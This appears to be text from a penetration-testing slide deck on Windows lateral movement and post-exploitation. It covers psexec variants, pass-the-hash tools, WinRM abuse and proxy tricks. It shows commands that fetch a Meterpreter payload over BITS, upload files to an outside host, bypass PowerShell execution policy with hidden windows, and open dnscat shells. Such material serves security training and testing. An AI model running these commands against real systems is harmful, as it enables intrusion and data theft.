SYSTEM, so no Proxy present already
concerns
57. Metasploit PSEXEC
POSITIVES NEGATIVES
• Supports the use of • Some AVs flag service
Hashes binary due to injection
techniques used within
• Rundll32.exe is running
58. Metasploit PSEXEC-MOF
POSITIVES NEGATIVES
• Drop a file and • XP and below
Windows automatically – (only because Metasploit
runs it. (MAGIC!) doesn’t automatically
compile MOFs)
• ADMIN$ required
– (Unless you make code edits)
59. Metasploit PSEXEC-As-User
POSITIVES NEGATIVES
• Executes as the current • Some AVs flag service
user binary due to injection
• No need for passwords techniques used within
or hashes • Rundll32.exe is running
• Also a great way to
bypass UAC.. But more
on that later
60. WMI
POSITIVES NEGATIVES
• Never going to be on • Need a Password
any AV list
• Executes binary as user
specified, not as
SYSTEM, so no Proxy
concerns
61. Powershell
POSITIVES NEGATIVES
• Never going to be on • Need a Password
any AV list
• Executes binary as user
specified, not as
SYSTEM, so no Proxy
concerns
62. RemCom
POSITIVES NEGATIVES
• Open source psexec • Binary, so again, can’t
• You can add Pass-The- go over Metasploit
Hash sessions directly
– (open source an all) – portfwd Fu can still be
used on a single IP
• Runs as SYSTEM
63. Winexe
POSITIVES NEGATIVES
• Open source psexec • Binary, so again, can’t
• Supports Pass-The-Hash go over Metasploit
sessions directly
– portfwd Fu can still be
used on a single IP
• Runs as SYSTEM
64. smbexec
POSITIVES NEGATIVES
• Open source psexec • Binary
• Supports Pass-The-Hash – (but designed with
shoveling over
Metasploit in mind)
http://sourceforge.net/projects/smbexec/
65. Pass the hash for 15 years stuff here
• Firefox
• smbclient
• smbmount
• Rpcclient
• http://passing-the-hash.blogspot.com/
66. Zfasel’s stuff here
• If it ever gets released works ;-)
LOVE YOU FASEL!!
Go see his talk, it works now…
maybe…
67. Python && impacket
• http://code.google.com/p/impacket/
• PTH support for SMB/MSSQL/
68. WinRM (‘new’ hotness)
POSITIVES NEGATIVES
• Never going to be on • Need a Password
any AV list
• Executes binary as user
specified, not as
SYSTEM, so no Proxy
concerns
69. Do you look for 5985 internally on your pen tests?
we would suggest it ;-)
src: http://3.bp.blogspot.com/_nldKmk1qZaA/S2ahpNBS1BI/AAAAAAAAAy8/XrOxvP8B93M/s1600/winrm6.png
70. Victim: winrm quickconfig –q
Attacker:
winrm quickconfig -q
winrm set winrm/config/client @{AllowUnencrypted=“true”;TrustedHosts=“192.168.1.101”}
Yes.. That’s right, THE ATTACKER says which hosts to trust…
Sooooo much fun to be had!
Oh, and did I mention it’s completely interactive? (You
can enter password questions)
71. Metasploit PSEXEC-WinRM
POSITIVES NEGATIVES
• Never going to be on • Need a Password
any AV list
• Executes binary as user
specified, not as
SYSTEM, so no Proxy
concerns
DISCLAIMER: CURRENTLY VAPORWARE!!
but…
72. Build your own pyBear
• PySMB supports auth with using hashes
• Thanks Rel1k for the heads up on the library – but
I’m not a good enough coder to get it working
• Compile your own psexec with hash support
• ;-)
• Impacket (again)
73. Build your own Bear.rb
• Metasploit’s Rex library
– already has the hash passing goodness
– HDM committed a stand-alone version of PSEXEC
on September 5th 2012
78. • If OS !> Vista
– SMB/UPLOAD_FILE BITSADMIN 2.0 (32bit)
• WINDOWS/EXEC (or any of the other psexec
methods we just talked about)
– BITSADMIN /UTIL /SETIEPROXY LOCALSYSTEM
AUTOSCRIPT http://wpad/wpad.dat “;” (or PAC)
– BITSADMIN /UTIL /SETIEPROXY LOCALSYSTEM
/MANUAL_PROXY 192.168.5.100:3128 “;”
– After your done use NO_PROXY in place of
AUTOSCRIPT or MANUAL_PROXY
• Then MSF-PSEXEC to your heart’s content,
SYSTEM will now use the proxy you’ve set.
79. NETSH & ProxyCFG
• Sets the WinHTTP proxy
– Not Windows’ proxy settings, only is used if the
program uses WinHTTP
• XP
– proxycfg –p 192.168.92.100:3128
– or
– proxycfg –u (pulls it from IE)
• Vista+
– netsh winhttp set proxy 192.168.92.100:3128
– or
– netsh winhttp import proxy ie
81. The setup…
Neat binaries that do backdoor/RAT
behavior that are already there for us.
82. Windows is my backdoor
BITS
“BITS is a file transfer service that provides a
scriptable interface through Windows PowerShell.
BITS transfers files asynchronously in
the foreground or in the background. And, it
automatically resumes file transfers after network
disconnections and after a computer is restarted.”
http://technet.microsoft.com/en-us/library/dd819415.aspx
83. Windows is my backdoor
BITS
There are three types of BITS transfer jobs:
- A download job downloads files to the client
computer.
- An upload job uploads a file to the server.
- An upload-reply job uploads a file to the server and
receives a reply file from the server application.
84. Windows is my backdoor
BITS (How-To)
• Set the server side up (HTTP, not standard setup)
– Google
• Uses powershell to upload/download
import BITS
PS C:Userscg>Import-Module BitsTransfer
Download files over BITS
PS C:Userscg> Start-BitsTransfer
http://192.168.26.128/upload/meterp443.exe
C:UserscgDesktopmeterpdownload443.exe
85. Windows is my backdoor
BITS (How-To)
Upload files over BITS
PS C:Userscg> Start-BitsTransfer -Source
C:UserscgDesktopfile2upload.txt
-Destination
http://192.168.26.128/upload/myfile.txt
-transfertype upload
89. Windows is my backdoor
• PowerShell
– Does A LOT!
– Check out Exploit Monday
and PowerSploit
– Carlos Perez has had lots of
PowerShell blog posts
– I haven't found a
meterpreter feature that
cant be done with
PowerShell
90. Windows is my backdoor
• Powershell cool examples
– Powershell hashdump (in SET)
– Poweshell exec method in MSSQL_Payload
– PowerSploit (syringe dll inject/shellcode exec ala
PowerShell)
91. Windows is my backdoor
• Powershell cool examples
• Port Scanner:
PS C:> 1..1024 | % {
echo
((new-object Net.Sockets.TcpClient)
.Connect("10.1.1.14",$_)) "$_ is open"
} 2>$null
25 is open
• From Tim Medin https://blogs.sans.org/pen-testing/files/2012/04/PowerShellForPT-export.pdf
92. Windows is my backdoor
• Powershell cool examples
• Port Sweeper
PS C:> 1..255 | % {
echo
((new-object Net.Sockets.TcpClient)
.Connect("10.1.1.$_",445)) "10.1.1.$_" }
2>$null
10.1.1.5
• From Tim Medin https://blogs.sans.org/pen-testing/files/2012/04/PowerShellForPT-export.pdf
93. Windows is my backdoor
• Powershell cool examples
• Bypass execution policy
– Dave Kennedy talked about this at defcon 18
– Requires PowerShell v2.0 or above
– powershell.exe -ExecutionPolicy
Bypass -NoLogo -NonInteractive -
NoProfile -WindowStyle Hidden -
File "C:do_neat_ps_shit.ps1"
94. Windows is my backdoor
• CreateCMD stuff from Dave Kennedy
• In SET
• Pshexec by Carlos Perez
• https://github.com/darkoperator/Meterpreter-Scripts/blob/master/scripts/meterpreter/pshexec.rb
• B64 encodes the command so you can pass
via meterp or in another script
• powershell -noexit –EncodedCommand
[b64enc BLOB]
95. Windows is my backdoor
• Metasploit to generate PowerShell
• Uses old powersploit technique
96. Windows is my backdoor
• How to run PowerShell from Meterpreter
– Use a bat file
C:>type run_ps.bat
powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -
NoProfile -WindowStyle Hidden -File C:ipinfo2.ps1
Example:
meterpreter > execute -H -f cmd.exe -a '/c C:runps.bat'
Process 28536 created.
meterpreter >
[*] 4.5.6.21:3863 Request received for /vLNL...
[*] 4.5.6.21:3863 Staging connection for target /vLNL
received...
--snip--
[*] Patched Communication Timeout at offset 653608...
[*] Meterpreter session 9 opened (1.2.3.205:443 ->
4.5.6.21:3863) at 2012-09-09 16:29:30 -0400
99. MSF WebDAV server
• net use ipdocuments /User:Guest
• copy ipdocumentsmyexe.exe myexe.exe
• Available on github:
• https://github.com/carnal0wnage/Metasploit-
Code/blob/master/modules/exploits/webdav_file_server.rb
101. The Setup…
LAN based attacks are instant wins on
internal pentests, but difficult if not
impossible to do on externals… or are
they…
102. While we are on the subject…
Does anyone know what happens when you try
to access a share on a windows box that doesn’t
exist from another windows box??
I want to access
SHARE3
I don’t have
SHARE3
Is that it?
103. nope
(if webclient service is started – Vista+ manual start)
I want to access SHARE3
I don’t have SHARE3 on SMB
I want to access SHARE3 over WebDAV
If you are following along at home, windows is always (unless disabled) listening on
Port 445 (SMB) so an attacker can’t override it, but rarely have anything listening on port 80
105. Meet the Microsoft Windows Firewall
“PORTPROXY” feature
Basically it’s port-forwarding but can do so for: IPv4 -> IPv4
IPv6 -> IPv4
IPv6 -> IPv6
IPv4 -> IPv6
In XP, if you set up a PORTPROXY, it doesn’t show up in “NETSTAT” or TCPview ;-)
108. why
1. Give me SHARE3!
5. OK, you are in my Intranet, AUTHAUTH
4. AUTH! via portpoxy
3. AUTH!
And yes, SMB_Relay works 7. kthxbai!
just fine if you have a route
set up over your
2. Portproxy!
meterpreter shell of the
6. AUTOAUTH!
connect back. Oh, did I
mention cross-protocol
means you can go to
the same host?! ;-)
110. The setup…
Are DNS Payloads useful? Let’s talk about
our public options
111. DNS Payloads
• Quick talk on currently available DNS payloads
• What’s available?
– CANVAS DNS Mosdef
– DNS Cat (skull security)
– Metasploit DNS Payloads
112. DNS Payloads
• Canvas DNS Mosdef
– Uses DNS TXT Records
• So its UDP and correctly formed?
– BUT
• Directly connects to the host
• Uses TXT records,
– I’ve never pentested someone *good* that allowed this
114. DNS Payloads
• DNSCat (Skullsecurity)
– http://www.skullsecurity.org/wiki/index.php/Dnscat
– Uses recursive DNS requests
• So its UDP and correctly formed?
– Has a metasploit payload, so can make a msf
dnscat binary to run and get shell
– Same as dnscat –d domain –exec “cmd.exe”
– BUT
• But does recursive DNS requests
• Never worked for me IRL
118. DNS Payloads
• Metasploit DNS
– Currently there are no full DNS payloads
• Aside from skullsecurity dnscat payload (not in trunk)
– There are several payloads that will got fetch
ANOTHER payload and exec it for you via DNS
• dns_txt_query_exec.rb
• dns_query_exec.rb
• https://github.com/rapid7/metasploit-
framework/pull/173
– Something in the works:
http://dev.metasploit.com/redmine/issues/444#note-9